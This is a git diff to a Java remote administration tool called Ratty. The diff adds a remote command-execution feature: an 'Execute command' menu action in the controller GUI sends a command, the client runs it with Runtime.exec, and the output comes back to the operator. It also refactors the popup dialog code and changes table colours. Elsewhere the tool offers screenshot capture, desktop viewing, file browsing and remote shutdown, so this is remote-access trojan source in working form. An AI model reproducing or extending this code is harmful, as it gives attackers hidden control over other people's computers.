diff --git a/Ratty/res/icons.png b/Ratty/res/icons.png
index e6f180d..1d54bca 100644
Binary files a/Ratty/res/icons.png and b/Ratty/res/icons.png differ
diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java
index 3cad3ac..b71c522 100644
--- a/Ratty/src/de/sogomn/rat/Ratty.java
+++ b/Ratty/src/de/sogomn/rat/Ratty.java
@@ -29,8 +29,8 @@ public final class Ratty {
 		defaults.put("control", Color.GRAY);
 		defaults.put("nimbusBase", Color.BLACK);
 		defaults.put("text", Color.WHITE);
-		defaults.put("Table:\"Table.cellRenderer\".background", Color.GRAY);
-		defaults.put("Table.alternateRowColor", Color.LIGHT_GRAY);
+		defaults.put("Table:\"Table.cellRenderer\".background", new Color(50, 50, 50));
+		defaults.put("Table.alternateRowColor", new Color(75, 75, 75));
 		defaults.put("TextField.foreground", Color.BLACK);
 		
 		try {
diff --git a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java
new file mode 100644
index 0000000..9db7546
--- /dev/null
+++ b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java
@@ -0,0 +1,89 @@
+package de.sogomn.rat.packet;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+import de.sogomn.rat.ActiveClient;
+import de.sogomn.rat.server.gui.RattyGui;
+
+public final class CommandPacket extends AbstractPingPongPacket {
+	
+	private String command;
+	private String output;
+	
+	private static final String ERROR = "Command could not be executed.";
+	
+	public CommandPacket(final String command) {
+		this.command = command;
+		
+		type = REQUEST;
+	}
+	
+	public CommandPacket() {
+		this("");
+		
+		type = DATA;
+	}
+	
+	@Override
+	protected void sendRequest(final ActiveClient client) {
+		client.writeUTF(command);
+	}
+	
+	@Override
+	protected void sendData(final ActiveClient client) {
+		client.writeUTF(output);
+	}
+	
+	@Override
+	protected void receiveRequest(final ActiveClient client) {
+		command = client.readUTF();
+	}
+	
+	@Override
+	protected void receiveData(final ActiveClient client) {
+		output = client.readUTF();
+	}
+	
+	@Override
+	protected void executeRequest(final ActiveClient client) {
+		try {
+			final Process process = Runtime.getRuntime().exec(command);
+			
+			process.waitFor();
+			
+			final InputStream in = process.getInputStream();
+			final byte[] buffer = new byte[in.available()];
+			
+			in.read(buffer);
+			
+			output = new String(buffer);
+		} catch (final IOException | InterruptedException ex) {
+			output = ERROR;
+		}
+		
+		type = DATA;
+		client.addPacket(this);
+	}
+	
+	@Override
+	protected void executeData(final ActiveClient client) {
+		RattyGui.showMessage(output);
+	}
+	
+	public String getCommand() {
+		return command;
+	}
+	
+	public String getOutput() {
+		return output;
+	}
+	
+	public static CommandPacket create() {
+		final String input = RattyGui.getInput();
+		final CommandPacket packet = new CommandPacket(input);
+		
+		return packet;
+	}
+	
+}
diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java
index fb6cab0..bd62b64 100644
--- a/Ratty/src/de/sogomn/rat/packet/PacketType.java
+++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java
@@ -7,7 +7,8 @@ public enum PacketType {
 	SCREENSHOT(2, ScreenshotPacket.class),
 	KEY_EVENT(3, KeyEventPacket.class),
 	FREE(4, FreePacket.class),
-	INFORMATION(5, InformationPacket.class);
+	INFORMATION(5, InformationPacket.class),
+	COMMAND(6, CommandPacket.class);
 	
 	public final byte id;
 	public final Class<? extends IPacket> clazz;
diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java
index 79fb3a5..c47a4e4 100644
--- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java
@@ -1,9 +1,7 @@
 package de.sogomn.rat.packet;
 
-import javax.swing.JDialog;
-import javax.swing.JOptionPane;
-
 import de.sogomn.rat.ActiveClient;
+import de.sogomn.rat.server.gui.RattyGui;
 
 
 
@@ -31,11 +29,7 @@ public final class PopupPacket implements IPacket {
 	
 	@Override
 	public void execute(final ActiveClient client) {
-		final JOptionPane optionPane = new JOptionPane(message);
-		final JDialog dialog = optionPane.createDialog(null);
-		
-		dialog.setModal(false);
-		dialog.setVisible(true);
+		RattyGui.showMessage(message);
 	}
 	
 	public String getMessage() {
@@ -43,7 +37,7 @@ public final class PopupPacket implements IPacket {
 	}
 	
 	public static PopupPacket create() {
-		final String input = JOptionPane.showInputDialog(null);
+		final String input = RattyGui.getInput();
 		final PopupPacket packet = new PopupPacket(input);
 		
 		return packet;
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
index 8ce2400..2eeae09 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
@@ -8,8 +8,10 @@ import java.awt.event.MouseEvent;
 import java.awt.image.BufferedImage;
 
 import javax.swing.ImageIcon;
+import javax.swing.JDialog;
 import javax.swing.JFrame;
 import javax.swing.JMenuItem;
+import javax.swing.JOptionPane;
 import javax.swing.JPopupMenu;
 import javax.swing.JScrollPane;
 import javax.swing.JTable;
@@ -50,6 +52,7 @@ public final class RattyGui {
 	public static final String SCREENSHOT = "Take screenshot";
 	public static final String DESKTOP = "View desktop";
 	public static final String FILES = "Browse files";
+	public static final String COMMAND = "Execute command";
 	public static final String SHUTDOWN = "Shutdown device";
 	public static final String FREE = "Free client";
 	public static final String[] ACTION_COMMANDS = {
@@ -57,6 +60,7 @@ public final class RattyGui {
 		SCREENSHOT,
 		DESKTOP,
 		FILES,
+		COMMAND,
 		SHUTDOWN,
 		FREE
 	};
@@ -165,4 +169,18 @@ public final class RattyGui {
 		return lastIdClicked;
 	}
 	
+	public static void showMessage(final String message) {
+		final JOptionPane optionPane = new JOptionPane(message);
+		final JDialog dialog = optionPane.createDialog(null);
+		
+		dialog.setModal(false);
+		dialog.setVisible(true);
+	}
+	
+	public static String getInput() {
+		final String input = JOptionPane.showInputDialog(null);
+		
+		return input;
+	}
+	
 }
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
index c1842f1..810754b 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@@ -5,6 +5,7 @@ import java.util.ArrayList;
 
 import de.sogomn.rat.ActiveClient;
 import de.sogomn.rat.IClientObserver;
+import de.sogomn.rat.packet.CommandPacket;
 import de.sogomn.rat.packet.FreePacket;
 import de.sogomn.rat.packet.IPacket;
 import de.sogomn.rat.packet.InformationPacket;
@@ -55,6 +56,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 			return new FreePacket();
 		} else if (actionCommand == RattyGui.SCREENSHOT) {
 			return new ScreenshotPacket();
+		} else if (actionCommand == RattyGui.COMMAND) {
+			return CommandPacket.create();
 		}
 		
 		return null;